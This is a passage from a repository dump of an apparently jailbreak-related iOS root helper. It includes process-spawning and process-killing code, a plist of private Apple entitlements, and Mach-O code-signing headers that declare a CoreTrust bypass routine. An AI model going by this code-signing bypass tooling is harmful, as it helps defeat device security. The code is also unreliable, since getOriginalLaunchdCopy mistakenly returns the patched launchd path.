0; i < argCount; i++)\n\t{\n\t\tfree(argsC[i]);\n\t}\n\tfree(argsC);\n\t\n\tif(spawnError != 0)\n\t{\n\t\tNSLog(@\"posix_spawn error %d\\n\", spawnError);\n\t\treturn spawnError;\n\t}\n\n\tdo\n\t{\n\t\tif (waitpid(task_pid, &status, 0) != -1) {\n\t\t\tNSLog(@\"Child status %d\", WEXITSTATUS(status));\n\t\t} else\n\t\t{\n\t\t\tperror(\"waitpid\");\n\t\t\treturn -222;\n\t\t}\n\t} while (!WIFEXITED(status) && !WIFSIGNALED(status));\n\n\tif(stdOut)\n\t{\n\t\tclose(out[1]);\n\t\tNSString* output = getNSStringFromFile(out[0]);\n\t\t*stdOut = output;\n\t}\n\n\tif(stdErr)\n\t{\n\t\tclose(outErr[1]);\n\t\tNSString* errorOutput = getNSStringFromFile(outErr[0]);\n\t\t*stdErr = errorOutput;\n\t}\n\t\n\treturn WEXITSTATUS(status);\n}\n\nvoid enumerateProcessesUsingBlock(void (^enumerator)(pid_t pid, NSString* executablePath, BOOL* stop))\n{\n\tstatic int maxArgumentSize = 0;\n\tif (maxArgumentSize == 0) {\n\t\tsize_t size = sizeof(maxArgumentSize);\n\t\tif (sysctl((int[]){ CTL_KERN, KERN_ARGMAX }, 2, &maxArgumentSize, &size, NULL, 0) == -1) {\n\t\t\tperror(\"sysctl argument size\");\n\t\t\tmaxArgumentSize = 4096; // Default\n\t\t}\n\t}\n\tint mib[3] = { CTL_KERN, KERN_PROC, KERN_PROC_ALL};\n\tstruct kinfo_proc *info;\n\tsize_t length;\n\tint count;\n\t\n\tif (sysctl(mib, 3, NULL, &length, NULL, 0) < 0)\n\t\treturn;\n\tif (!(info = malloc(length)))\n\t\treturn;\n\tif (sysctl(mib, 3, info, &length, NULL, 0) < 0) {\n\t\tfree(info);\n\t\treturn;\n\t}\n\tcount = length / sizeof(struct kinfo_proc);\n\tfor (int i = 0; i < count; i++) {\n\t\t@autoreleasepool {\n\t\tpid_t pid = info[i].kp_proc.p_pid;\n\t\tif (pid == 0) {\n\t\t\tcontinue;\n\t\t}\n\t\tsize_t size = maxArgumentSize;\n\t\tchar* buffer = (char *)malloc(length);\n\t\tif (sysctl((int[]){ CTL_KERN, KERN_PROCARGS2, pid }, 3, buffer, &size, NULL, 0) == 0) {\n\t\t\tNSString* executablePath = [NSString stringWithCString:(buffer+sizeof(int)) encoding:NSUTF8StringEncoding];\n\t\t\t\n\t\t\tBOOL stop = NO;\n\t\t\tenumerator(pid, executablePath, &stop);\n\t\t\tif(stop)\n\t\t\t{\n\t\t\t\tfree(buffer);\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\tfree(buffer);\n\t\t}\n\t}\n\tfree(info);\n}\n\nvoid killall(NSString* processName)\n{\n\tenumerateProcessesUsingBlock(^(pid_t pid, NSString* executablePath, BOOL* stop)\n\t{\n\t\tif([executablePath.lastPathComponent isEqualToString:processName])\n\t\t{\n\t\t\tkill(pid, SIGTERM);\n\t\t}\n\t});\n}\n\nvoid respring(void)\n{\n\tkillall(@\"SpringBoard\");\n\texit(0);\n}\n\nint get_boot_manifest_hash(char hash[97])\n{\n  const UInt8 *bytes;\n  CFIndex length;\n  io_registry_entry_t chosen = IORegistryEntryFromPath(0, \"IODeviceTree:/chosen\");\n  if (!MACH_PORT_VALID(chosen)) return 1;\n  CFDataRef manifestHash = (CFDataRef)IORegistryEntryCreateCFProperty(chosen, CFSTR(\"boot-manifest-hash\"), kCFAllocatorDefault, 0);\n  IOObjectRelease(chosen);\n  if (manifestHash == NULL || CFGetTypeID(manifestHash) != CFDataGetTypeID())\n  {\n    if (manifestHash != NULL) CFRelease(manifestHash);\n    return 1;\n  }\n  length = CFDataGetLength(manifestHash);\n  bytes = CFDataGetBytePtr(manifestHash);\n  for (int i = 0; i < length; i++)\n  {\n    snprintf(&hash[i * 2], 3, \"%02X\", bytes[i]);\n  }\n  CFRelease(manifestHash);\n  return 0;\n}\n\nchar* return_boot_manifest_hash_main(void) {\n  static char hash[97];\n  int ret = get_boot_manifest_hash(hash);\n  if (ret != 0) {\n    fprintf(stderr, \"could not get boot manifest hash\\n\");\n    return \"lmao\";\n  }\n    static char result[115];\n    sprintf(result, \"/private/preboot/%s\", hash);\n    return result;\n}\n\nchar* getPatchedLaunchdCopy(void) {\n    char* prebootpath = return_boot_manifest_hash_main();\n    static char originallaunchd[256];\n    sprintf(originallaunchd, \"%s/%s\", prebootpath, \"patchedlaunchd\");\n    NSLog(@\"patchedlaunchd: %s\", originallaunchd);\n    return originallaunchd;\n}\n\nchar* getOriginalLaunchdCopy(void) {\n    char* prebootpath = return_boot_manifest_hash_main();\n    static char originallaunchd[256];\n    sprintf(originallaunchd, \"%s/%s\", prebootpath, \"patchedlaunchd\");\n    NSLog(@\"patchedlaunchd: %s\", originallaunchd);\n    return originallaunchd;\n}\n"
  },
  {
    "path": "RootHelperSample/control",
    "content": "Package: net.sourceloc.trolltoolsroothelper\nName: trolltoolsroothelper\nVersion: 1.0\nArchitecture: iphoneos-arm\nDescription: TrollToolsRootHelper\nMaintainer: sourcelocation\nAuthor: sourcelocation\nSection: System\nTag: role::hacker"
  },
  {
    "path": "RootHelperSample/entitlements.plist",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">\n<plist version=\"1.0\">\n<dict>\n\t<key>com.apple.private.domain-extension</key>\n\t<true/>\n\t<key>com.apple.private.security.container-required</key>\n\t<false/>\n\t<key>com.apple.private.security.no-container</key>\n\t<true/>\n\t<key>com.apple.private.xpc.domain-extension</key>\n\t<true/>\n\t<key>com.apple.private.xpc.domain-extension.proxy</key>\n\t<true/>\n\t<key>com.apple.private.xpc.launchd.app-state-manager</key>\n\t<true/>\n\t<key>com.apple.private.xpc.launchd.enable-disable-system-services</key>\n\t<true/>\n\t<key>com.apple.private.xpc.launchd.event-monitor</key>\n\t<true/>\n\t<key>com.apple.private.xpc.launchd.loginitem-bootstrapper</key>\n\t<true/>\n\t<key>com.apple.private.xpc.launchd.loginitem-outside-bundle</key>\n\t<true/>\n\t<key>com.apple.private.xpc.launchd.obliterator</key>\n\t<true/>\n\t<key>com.apple.private.xpc.launchd.per-user-create.mbsetupuser</key>\n\t<true/>\n\t<key>com.apple.private.xpc.launchd.per-user-lookup</key>\n\t<true/>\n\t<key>com.apple.private.xpc.launchd.reboot</key>\n\t<true/>\n\t<key>com.apple.private.xpc.launchd.service-hold</key>\n\t<true/>\n\t<key>com.apple.private.xpc.launchd.userspace-reboot</key>\n\t<true/>\n\t<key>com.apple.private.xpc.launchd.userspace-reboot-now</key>\n\t<true/>\n\t<key>com.apple.private.xpc.persona-creator</key>\n\t<true/>\n\t<key>com.apple.private.xpc.persona-manager</key>\n\t<true/>\n    <key>com.apple.private.persona-mgmt</key>\n    <true/>\n\t<key>com.apple.private.xpc.service-attach</key>\n\t<true/>\n\t<key>com.apple.private.xpc.service-configure</key>\n\t<true/>\n\t<key>platform-application</key>\n\t<true/>\n    <key>get-task-allow</key>\n    <true/>\n    <key>com.apple.private.security.storage.AppBundles</key>\n    <true/>\n    <key>com.apple.private.security.storage.AppDataContainers</key>\n    <true/>\n\t<key>com.apple.security.exception.mach-lookup.global-name</key>\n\t<array>\n\t\t<string>com.apple.mmaintenanced</string>\n\t\t<string>com.apple.memory-maintenance</string>\n\t</array>\n</dict>\n</plist>\n"
  },
  {
    "path": "RootHelperSample/external/include/choma/Base64.h",
    "content": "#ifndef BASE64_H\n#define BASE64_H\n\n#include <stdint.h>\n#include <stdlib.h>\n\nchar *base64_encode(const unsigned char *data,\n                    size_t input_length,\n                    size_t *output_length);\n\n#endif // BASE64_H"
  },
  {
    "path": "RootHelperSample/external/include/choma/BufferedStream.h",
    "content": "#ifndef BUFFERED_STREAM_H\n#define BUFFERED_STREAM_H\n\n#include \"MemoryStream.h\"\n#include <stdbool.h>\n\n#define BUFFERED_STREAM_FLAG_AUTO_EXPAND (1 << 0)\n\ntypedef struct BufferedStreamContext {\n    uint8_t *buffer;\n    size_t bufferSize;\n    uint32_t subBufferStart;\n    size_t subBufferSize;\n} BufferedStreamContext;\n\nMemoryStream *buffered_stream_init_from_buffer_nocopy(void *buffer, size_t bufferSize, uint32_t flags);\nMemoryStream *buffered_stream_init_from_buffer(void *buffer, size_t bufferSize, uint32_t flags);\n\n#endif // BUFFERED_STREAM_H"
  },
  {
    "path": "RootHelperSample/external/include/choma/CSBlob.h",
    "content": "#ifndef CS_BLOB_H\n#define CS_BLOB_H\n\n#include <stdio.h>\n#include <stdint.h>\n#include <stdlib.h>\n#include <stdbool.h>\n\n#include \"FAT.h\"\n#include \"MachO.h\"\n#include \"MemoryStream.h\"\n\n// Blob index\ntypedef struct __BlobIndex {\n\tuint32_t type;\n\tuint32_t offset;\n} CS_BlobIndex;\n\n// CMS superblob\ntypedef struct __SuperBlob {\n\tuint32_t magic;\n\tuint32_t length;\n\tuint32_t count;\n\tCS_BlobIndex index[];\n} CS_SuperBlob;\n\ntypedef struct __GenericBlob {\n\tuint32_t magic;\t\t\t\t\t/* magic number */\n\tuint32_t length;\t\t\t\t/* total length of blob */\n\tchar data[];\n} CS_GenericBlob;\n\n// CMS blob magic types\nenum {\n    CSBLOB_REQUIREMENT = 0xfade0c00,\n    CSBLOB_REQUIREMENTS = 0xfade0c01,\n    CSBLOB_CODEDIRECTORY = 0xfade0c02,\n    CSBLOB_EMBEDDED_SIGNATURE = 0xfade0cc0,\n    CSBLOB_DETACHED_SIGNATURE = 0xfade0cc1,\n    CSBLOB_ENTITLEMENTS = 0xfade7171,\n    CSBLOB_DER_ENTITLEMENTS = 0xfade7172,\n    CSBLOB_SIGNATURE_BLOB = 0xfade0b01\n} CS_BlobType;\n\nenum {\n    CSSLOT_CODEDIRECTORY = 0,\n\tCSSLOT_INFOSLOT = 1,\n\tCSSLOT_REQUIREMENTS = 2,\n\tCSSLOT_RESOURCEDIR = 3,\n\tCSSLOT_APPLICATION = 4,\n\tCSSLOT_ENTITLEMENTS = 5,\n    CSSLOT_DER_ENTITLEMENTS = 7,\n    CSSLOT_ALTERNATE_CODEDIRECTORIES = 0x1000,\n\tCSSLOT_ALTERNATE_CODEDIRECTORY_MAX = 5,\n\tCSSLOT_ALTERNATE_CODEDIRECTORY_LIMIT = CSSLOT_ALTERNATE_CODEDIRECTORIES + CSSLOT_ALTERNATE_CODEDIRECTORY_MAX,\n    CSSLOT_SIGNATURESLOT = 0x10000\n} CS_SlotType;\n\ntypedef struct s_CS_DecodedBlob {\n\tstruct s_CS_DecodedBlob *next;\n\tuint32_t type;\n\tMemoryStream *stream;\n} CS_DecodedBlob;\n\ntypedef struct s_CS_DecodedSuperBlob {\n\tuint32_t magic;\n\tstruct s_CS_DecodedBlob *firstBlob;\n} CS_DecodedSuperBlob;\n\n// Convert blob magic to readable blob type string\nchar *cs_blob_magic_to_string(int magic);\n\n// Extract Code Signature to file\nint macho_extract_cs_to_file(MachO *macho, CS_SuperBlob *superblob);\n\nint macho_find_code_signature_bounds(MachO *macho, uint32_t *offsetOut, uint32_t *sizeOut);\n\nCS_SuperBlob *macho_read_code_signature(MachO *macho);\n\nint macho_replace_code_signature(MachO *macho, CS_SuperBlob *superblob);\n\nint update_load_commands(MachO *macho, CS_SuperBlob *superblob, uint64_t originalSize);\n\nCS_DecodedBlob *csd_blob_init(uint32_t type, CS_GenericBlob *blobData);\nint csd_blob_read(CS_DecodedBlob *blob, uint64_t offset, size_t size, void *outBuf);\nint csd_blob_write(CS_DecodedBlob *blob, uint64_t offset, size_t size, const void *inBuf);\nint csd_blob_insert(CS_DecodedBlob *blob, uint64_t offset, size_t size, const void *inBuf);\nint csd_blob_delete(CS_DecodedBlob *blob, uint64_t offset, size_t size);\nint csd_blob_read_string(CS_DecodedBlob *blob, uint64_t offset, char **outString);\nint csd_blob_write_string(CS_DecodedBlob *blob, uint64_t offset, const char *string);\nint csd_blob_get_size(CS_DecodedBlob *blob);\nuint32_t csd_blob_get_type(CS_DecodedBlob *blob);\nvoid csd_blob_set_type(CS_DecodedBlob *blob, uint32_t type);\nvoid csd_blob_free(CS_DecodedBlob *blob);\n\nCS_DecodedSuperBlob *csd_superblob_decode(CS_SuperBlob *superblob);\nCS_SuperBlob *csd_superblob_encode(CS_DecodedSuperBlob *decodedSuperblob);\nCS_DecodedBlob *csd_superblob_find_blob(CS_DecodedSuperBlob *superblob, uint32_t type, uint32_t *indexOut);\nint csd_superblob_insert_blob_after_blob(CS_DecodedSuperBlob *superblob, CS_DecodedBlob *blobToInsert, CS_DecodedBlob *afterBlob);\nint csd_superblob_insert_blob_at_index(CS_DecodedSuperBlob *superblob, CS_DecodedBlob *blobToInsert, uint32_t atIndex);\nint csd_superblob_append_blob(CS_DecodedSuperBlob *superblob, CS_DecodedBlob *blobToAppend);\nint csd_superblob_remove_blob(CS_DecodedSuperBlob *superblob, CS_DecodedBlob *blobToRemove); // <- Important: When calling this, caller is responsible for freeing blobToRemove\nint csd_superblob_remove_blob_at_index(CS_DecodedSuperBlob *superblob, uint32_t atIndex);\nint csd_superblob_print_content(CS_DecodedSuperBlob *decodedSuperblob, MachO *macho, bool printAllSlots, bool verifySlots);\nvoid csd_superblob_free(CS_DecodedSuperBlob *decodedSuperblob);\n\n\n#endif // CS_BLOB_H"
  },
  {
    "path": "RootHelperSample/external/include/choma/CodeDirectory.h",
    "content": "#ifndef CODE_DIRECTORY_H\n#define CODE_DIRECTORY_H\n\n#include <stdint.h>\n#include <math.h>\n#include <CommonCrypto/CommonDigest.h>\n\n#include \"MachO.h\"\n#include \"CSBlob.h\"\n#include \"FAT.h\"\n#include \"MachOByteOrder.h\"\n#include \"MachOLoadCommand.h\"\n#include \"MemoryStream.h\"\n\n\n// Code directory blob header\ntypedef struct __CodeDirectory {\n\tuint32_t magic;\n\tuint32_t length;\n\tuint32_t version;\n\tuint32_t flags;\n\tuint32_t hashOffset;\n\tuint32_t identOffset;\n\tuint32_t nSpecialSlots;\n\tuint32_t nCodeSlots;\n\tuint32_t codeLimit;\n\tuint8_t hashSize;\n\tuint8_t hashType;\n\tuint8_t spare1;\n\tuint8_t\tpageSize;\n\tuint32_t spare2;\n\tuint32_t scatterOffset;\n\tuint32_t teamOffset;\n} CS_CodeDirectory;\n\nenum CS_HashType {\n\tCS_HASHTYPE_SHA160_160 = 1,\n\tCS_HASHTYPE_SHA256_256 = 2,\n\tCS_HASHTYPE_SHA256_160 = 3,\n\tCS_HASHTYPE_SHA384_384 = 4,\n};\n\nchar *csd_code_directory_copy_identity(CS_DecodedBlob *codeDirBlob, uint32_t *offsetOut);\nchar *csd_code_directory_copy_team_id(CS_DecodedBlob *codeDirBlob, uint32_t *offsetOut);\nint csd_code_directory_set_team_id(CS_DecodedBlob *codeDirBlob, char *newTeamID);\nuint32_t csd_code_directory_get_flags(CS_DecodedBlob *codeDirBlob);\nvoid csd_code_directory_set_flags(CS_DecodedBlob *codeDirBlob, uint32_t flags);\nuint8_t csd_code_directory_get_hash_type(CS_DecodedBlob *codeDirBlob);\nvoid csd_code_directory_set_hash_type(CS_DecodedBlob *codeDirBlob, uint8_t hashType);\nint csd_code_directory_print_content(CS_DecodedBlob *codeDirBlob, MachO *macho, bool printSlots, bool verifySlots);\nvoid csd_code_directory_update(CS_DecodedBlob *codeDirBlob, MachO *macho);\n\n#endif // CODE_DIRECTORY_H"
  },
  {
    "path": "RootHelperSample/external/include/choma/FAT.h",
    "content": "#ifndef MACHO_H\n#define MACHO_H\n\n#include <stdio.h>\n#include <libkern/OSByteOrder.h>\n#include <mach/mach.h>\n#include <mach-o/loader.h>\n#include <mach-o/fat.h>\n#include <sys/stat.h>\n\n#include \"MemoryStream.h\"\ntypedef struct MachO MachO;\n\n// A FAT structure can either represent a FAT file with multiple slices, in which the slices will be loaded into the slices attribute\n// Or a single slice MachO, in which case it serves as a compatibility layer and the single slice will also be loaded into the slices attribute\ntypedef struct FAT\n{\n    MemoryStream *stream;\n    MachO **slices;\n    uint32_t slicesCount;\n    int fileDescriptor;\n} FAT;\n\nint fat_read_at_offset(FAT *fat, uint64_t offset, size_t size, void *outBuf);\n\nMemoryStream *fat_get_stream(FAT *fat);\n\n// Initialise a FAT structure from a memory stream\nFAT *fat_init_from_memory_stream(MemoryStream *stream);\n\n// Initialise a FAT structure using the path to the file\nFAT *fat_init_from_path(const char *filePath);\n//FAT *fat_init_from_path_for_writing(const char *filePath);\n\n// Find macho with cputype and cpusubtype in FAT, returns NULL if not found\nMachO *fat_find_slice(FAT *fat, cpu_type_t cputype, cpu_subtype_t cpusubtype);\n\n// Free all elements of the FAT structure\nvoid fat_free(FAT *fat);\n\n#endif // MACHO_H"
  },
  {
    "path": "RootHelperSample/external/include/choma/FileStream.h",
    "content": "#ifndef FILE_STREAM_H\n#define FILE_STREAM_H\n\n#include \"MemoryStream.h\"\n\n#define FILE_STREAM_SIZE_AUTO 0\n#define FILE_STREAM_FLAG_WRITABLE (1 << 0)\n#define FILE_STREAM_FLAG_AUTO_EXPAND (1 << 1)\n\ntypedef struct FileStreamContext {\n    int fd;\n    size_t fileSize;\n    uint32_t bufferStart;\n    size_t bufferSize;\n} FileStreamContext;\n\nMemoryStream *file_stream_init_from_file_descriptor_nodup(int fd, uint32_t bufferStart, size_t bufferSize, uint32_t flags);\nMemoryStream *file_stream_init_from_file_descriptor(int fd, uint32_t bufferStart, size_t bufferSize, uint32_t flags);\nMemoryStream *file_stream_init_from_path(const char *path, uint32_t bufferStart, size_t bufferSize, uint32_t flags);\n\n#endif // FILE_STREAM_H"
  },
  {
    "path": "RootHelperSample/external/include/choma/Host.h",
    "content": "#ifndef HOST_H\n#define HOST_H\n\n#include \"FAT.h\"\n\n// Retrieve the preferred MachO slice from a FAT\n// Preferred slice as in the slice that the kernel would use when loading the file\nMachO *fat_find_preferred_slice(FAT *fat);\n\n#endif // HOST_H"
  },
  {
    "path": "RootHelperSample/external/include/choma/MachO.h",
    "content": "#ifndef MACHO_SLICE_H\n#define MACHO_SLICE_H\n\n#include <stdbool.h>\n#include <mach-o/fat.h>\n#include <mach-o/loader.h>\n#include \"MemoryStream.h\"\n#include \"FAT.h\"\n\ntypedef struct MachOSegment\n{\n    struct segment_command_64 command;\n    struct section_64 sections[];\n} __attribute__((__packed__)) MachOSegment;\n\ntypedef struct FilesetMachO {\n    char *entry_id;\n    uint64_t vmaddr;\n    uint64_t fileoff;\n\tFAT *underlyingMachO;\n} FilesetMachO;\n\ntypedef struct MachO {\n    MemoryStream *stream;\n    bool isSupported;\n    struct mach_header_64 machHeader;\n    struct fat_arch_64 archDescriptor;\n\n    uint32_t filesetCount;\n    FilesetMachO *filesetMachos;\n\n    uint32_t segmentCount;\n    MachOSegment **segments;\n} MachO;\n\n// Read data from a MachO at a specified offset\nint macho_read_at_offset(MachO *macho, uint64_t offset, size_t size, void *outBuf);\n\n// Write data from a MachO at a specified offset, auto expands, only works if opened via macho_init_for_writing\nint macho_write_at_offset(MachO *macho, uint64_t offset, size_t size, void *inBuf);\n\nMemoryStream *macho_get_stream(MachO *macho);\nuint32_t macho_get_filetype(MachO *macho);\n\n// Perform translation between file offsets and virtual addresses\nint macho_translate_fileoff_to_vmaddr(MachO *macho, uint64_t fileoff, uint64_t *vmaddrOut, MachOSegment **segmentOut);\nint macho_translate_vmaddr_to_fileoff(MachO *macho, uint64_t vmaddr, uint64_t *fileoffOut, MachOSegment **segmentOut);\n\n// Read data from a MachO at a specified virtual address\nint macho_read_at_vmaddr(MachO *macho, uint64_t vmaddr, size_t size, void *outBuf);\n\nint macho_enumerate_load_commands(MachO *macho, void (^enumeratorBlock)(struct load_command loadCommand, uint64_t offset, void *cmd, bool *stop));\n\n// Initialise a MachO object from a MemoryStream and it's corresponding FAT arch descriptor\nMachO *macho_init(MemoryStream *stream, struct fat_arch_64 archDescriptor);\n\n// Initialize a single slice macho for writing to it\nMachO *macho_init_for_writing(const char *filePath);\n\nvoid macho_free(MachO *macho);\n\n#endif // MACHO_SLICE_H"
  },
  {
    "path": "RootHelperSample/external/include/choma/MachOByteOrder.h",
    "content": "#ifndef MACHO_BYTE_ORDER_H\n#define MACHO_BYTE_ORDER_H\n\n#include <stdio.h>\n#include <stdlib.h>\n\n// 8-bit integers needed for CodeDirectory\n#define BIG_TO_HOST(n) _Generic((n), \\\n    int8_t: n, \\\n    uint8_t: n, \\\n    int16_t: OSSwapBigToHostInt16(n), \\\n    uint16_t: OSSwapBigToHostInt16(n), \\\n    int32_t: OSSwapBigToHostInt32(n), \\\n    uint32_t: OSSwapBigToHostInt32(n), \\\n    int64_t: OSSwapBigToHostInt64(n), \\\n    uint64_t: OSSwapBigToHostInt64(n) \\\n)\n\n#define HOST_TO_BIG(n) _Generic((n), \\\n    int8_t: n, \\\n    uint8_t: n, \\\n    uint16_t: OSSwapHostToBigInt16(n), \\\n    int16_t: OSSwapHostToBigInt16(n), \\\n    int32_t: OSSwapHostToBigInt32(n), \\\n    uint32_t: OSSwapHostToBigInt32(n), \\\n    int64_t: OSSwapHostToBigInt64(n), \\\n    uint64_t: OSSwapHostToBigInt64(n) \\\n)\n\n#define LITTLE_TO_HOST(n) _Generic((n), \\\n    int8_t: n, \\\n    uint8_t: n, \\\n    int16_t: OSSwapLittleToHostInt16(n), \\\n    uint16_t: OSSwapLittleToHostInt16(n), \\\n    int32_t: OSSwapLittleToHostInt32(n), \\\n    uint32_t: OSSwapLittleToHostInt32(n), \\\n    int64_t: OSSwapLittleToHostInt64(n), \\\n    uint64_t: OSSwapLittleToHostInt64(n) \\\n)\n\n#define HOST_TO_LITTLE(n) _Generic((n), \\\n    int8_t: n, \\\n    uint8_t: n, \\\n    int16_t: OSSwapHostToLittleInt16(n), \\\n    uint16_t: OSSwapHostToLittleInt16(n), \\\n    int32_t: OSSwapHostToLittleInt32(n), \\\n    uint32_t: OSSwapHostToLittleInt32(n), \\\n    int64_t: OSSwapHostToLittleInt64(n), \\\n    uint64_t: OSSwapHostToLittleInt64(n) \\\n)\n\n#define HOST_TO_LITTLE_APPLIER(instance, member) \\\n    (instance)->member = HOST_TO_LITTLE((instance)->member)\n\n#define HOST_TO_BIG_APPLIER(instance, member) \\\n    (instance)->member = HOST_TO_BIG((instance)->member)\n\n#define LITTLE_TO_HOST_APPLIER(instance, member) \\\n    (instance)->member = LITTLE_TO_HOST((instance)->member)\n\n#define BIG_TO_HOST_APPLIER(instance, member) \\\n    (instance)->member = BIG_TO_HOST((instance)->member)\n\n#define FAT_HEADER_APPLY_BYTE_ORDER(fh, applier) \\\n    applier(fh, magic); \\\n    applier(fh, nfat_arch);\n\n#define FAT_ARCH_APPLY_BYTE_ORDER(arch, applier) \\\n    applier(arch, cputype); \\\n    applier(arch, cpusubtype); \\\n    applier(arch, offset); \\\n    applier(arch, size); \\\n    applier(arch, align); \\\n\n#define FAT_ARCH_64_APPLY_BYTE_ORDER(arch, applier) \\\n    applier(arch, cputype); \\\n    applier(arch, cpusubtype); \\\n    applier(arch, offset); \\\n    applier(arch, size); \\\n    applier(arch, align); \\\n    applier(arch, reserved); \\\n\n#define MACH_HEADER_APPLY_BYTE_ORDER(mh, applier) \\\n    applier(mh, magic); \\\n    applier(mh, cputype); \\\n    applier(mh, cpusubtype); \\\n    applier(mh, filetype); \\\n    applier(mh, ncmds); \\\n    applier(mh, sizeofcmds); \\\n    applier(mh, reserved);\n\n#define LOAD_COMMAND_APPLY_BYTE_ORDER(lc, applier) \\\n    applier(lc, cmd); \\\n    applier(lc, cmdsize);\n\n#define LINKEDIT_DATA_COMMAND_APPLY_BYTE_ORDER(lc, applier) \\\n    applier(lc, cmd); \\\n    applier(lc, cmdsize); \\\n    applier(lc, dataoff); \\\n    applier(lc, datasize);\n\n#define BLOB_INDEX_APPLY_BYTE_ORDER(bi, applier) \\\n    applier(bi, type); \\\n    applier(bi, offset);\n\n#define SUPERBLOB_APPLY_BYTE_ORDER(sb, applier) \\\n    applier(sb, magic); \\\n    applier(sb, length); \\\n    applier(sb, count);\n\n#define GENERIC_BLOB_APPLY_BYTE_ORDER(gb, applier) \\\n    applier(gb, magic); \\\n    applier(gb, length);\n\n#define CODE_DIRECTORY_APPLY_BYTE_ORDER(cd, applier) \\\n    applier(cd, magic); \\\n    applier(cd, length); \\\n    applier(cd, version); \\\n    applier(cd, flags); \\\n    applier(cd, hashOffset); \\\n    applier(cd, identOffset); \\\n    applier(cd, nSpecialSlots); \\\n    applier(cd, nCodeSlots); \\\n    applier(cd, codeLimit); \\\n    applier(cd, hashSize); \\\n    applier(cd, hashType); \\\n    applier(cd, spare1); \\\n    applier(cd, pageSize); \\\n    applier(cd, spare2); \\\n    applier(cd, scatterOffset); \\\n    applier(cd, teamOffset);\n\n#define SEGMENT_COMMAND_64_APPLY_BYTE_ORDER(sc64, applier) \\\n    applier(sc64, cmd); \\\n    applier(sc64, cmdsize); \\\n    applier(sc64, fileoff); \\\n    applier(sc64, filesize); \\\n    applier(sc64, vmaddr); \\\n    applier(sc64, vmsize); \\\n    applier(sc64, flags); \\\n    applier(sc64, initprot); \\\n    applier(sc64, maxprot); \\\n    applier(sc64, nsects);\n\n#define SECTION_64_APPLY_BYTE_ORDER(sc64, applier) \\\n    applier(sc64, addr); \\\n    applier(sc64, align); \\\n    applier(sc64, flags); \\\n    applier(sc64, nreloc); \\\n    applier(sc64, offset); \\\n    applier(sc64, reserved1); \\\n    applier(sc64, reserved2); \\\n    applier(sc64, reserved3); \\\n    applier(sc64, size);\n\n#define FILESET_ENTRY_COMMAND_APPLY_BYTE_ORDER(fse, applier) \\\n    applier(fse, cmd); \\\n    applier(fse, cmdsize); \\\n    applier(fse, vmaddr); \\\n    applier(fse, fileoff); \\\n    applier(fse, entry_id.offset); \\\n    applier(fse, reserved); \\\n\n#endif // MACHO_BYTE_ORDER_H"
  },
  {
    "path": "RootHelperSample/external/include/choma/MachOLoadCommand.h",
    "content": "#ifndef MACHO_LOAD_COMMAND_H\n#define MACHO_LOAD_COMMAND_H\n\n#include <mach-o/loader.h>\n#include \"MachO.h\"\n#include \"CSBlob.h\"\n#include \"FileStream.h\"\n#include \"MachOByteOrder.h\"\n\n// Convert load command to load command name\nchar *load_command_to_string(int loadCommand);\nvoid update_segment_command_64(MachO *macho, const char *segmentName, uint64_t vmaddr, uint64_t vmsize, uint64_t fileoff, uint64_t filesize);\nvoid update_lc_code_signature(MachO *macho, uint64_t size);\nint update_load_commands_for_coretrust_bypass(MachO *macho, CS_SuperBlob *superblob, uint64_t originalCodeSignatureSize, uint64_t originalMachOSize);\n\n#endif // MACHO_LOAD_COMMAND_H"
  },
  {
    "path": "RootHelperSample/external/include/choma/MemoryStream.h",
    "content": "#ifndef MEMORY_STREAM_H\n#define MEMORY_STREAM_H\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys/stat.h>\n#include <fcntl.h>\n#include <string.h>\n#include <unistd.h>\n#include <stdbool.h>\n\n#define MEMORY_STREAM_FLAG_OWNS_DATA (1 << 0)\n#define MEMORY_STREAM_FLAG_MUTABLE (1 << 1)\n#define MEMORY_STREAM_FLAG_AUTO_EXPAND (1 << 2)\n\n#define MEMORY_STREAM_SIZE_INVALID (size_t)-1\n\n// A generic memory IO interface that is used throughout this project\n// Can be backed by anything, just the functions have to be implemented\ntypedef struct s_MemoryStream {\n   void *context;\n   uint32_t flags;\n\n   int (*read)(struct s_MemoryStream *stream, uint64_t offset, size_t size, void *outBuf);\n   int (*write)(struct s_MemoryStream *stream, uint64_t offset, size_t size, const void *inBuf);\n   int (*getSize)(struct s_MemoryStream *stream, size_t *sizeOut);\n   uint8_t *(*getRawPtr)(struct s_MemoryStream *stream);\n\n   int (*trim)(struct s_MemoryStream *stream, size_t trimAtStart, size_t trimAtEnd);\n   int (*expand)(struct s_MemoryStream *stream, size_t expandAtStart, size_t expandAtEnd);\n\n   struct s_MemoryStream *(*hardclone)(struct s_MemoryStream *stream);\n   struct s_MemoryStream *(*softclone)(struct s_MemoryStream *stream);\n   void (*free)(struct s_MemoryStream *stream);\n} MemoryStream;\n\nint memory_stream_read(MemoryStream *stream, uint64_t offset, size_t size, void *outBuf);\nint memory_stream_write(MemoryStream *stream, uint64_t offset, size_t size, const void *inBuf);\n\nint memory_stream_insert(MemoryStream *stream, uint64_t offset, size_t size, const void *inBuf);\nint memory_stream_delete(MemoryStream *stream, uint64_t offset, size_t size);\n\nint memory_stream_read_string(MemoryStream *stream, uint64_t offset, char **outString);\nint memory_stream_write_string(MemoryStream *stream, uint64_t offset, const char *string);\n\nsize_t memory_stream_get_size(MemoryStream *stream);\nuint8_t *memory_stream_get_raw_pointer(MemoryStream *stream);\nuint32_t memory_stream_get_flags(MemoryStream *stream);\n\nMemoryStream *memory_stream_softclone(MemoryStream *stream);\nMemoryStream *memory_stream_hardclone(MemoryStream *stream);\nint memory_stream_trim(MemoryStream *stream, size_t trimAtStart, size_t trimAtEnd);\nint memory_stream_expand(MemoryStream *stream, size_t expandAtStart, size_t expandAtEnd);\n\nvoid memory_stream_free(MemoryStream *stream);\n\nint memory_stream_copy_data(MemoryStream *originStream, uint64_t originOffset, MemoryStream *targetStream, uint64_t targetOffset, size_t size);\nint memory_stream_find_memory(MemoryStream *stream, uint64_t searchOffset, size_t searchSize, void *bytes, void *mask, size_t nbytes, uint16_t alignment, uint64_t *foundOffsetOut);\n\n#endif // MEMORY_STREAM_H"
  },
  {
    "path": "RootHelperSample/external/include/choma/PatchFinder.h",
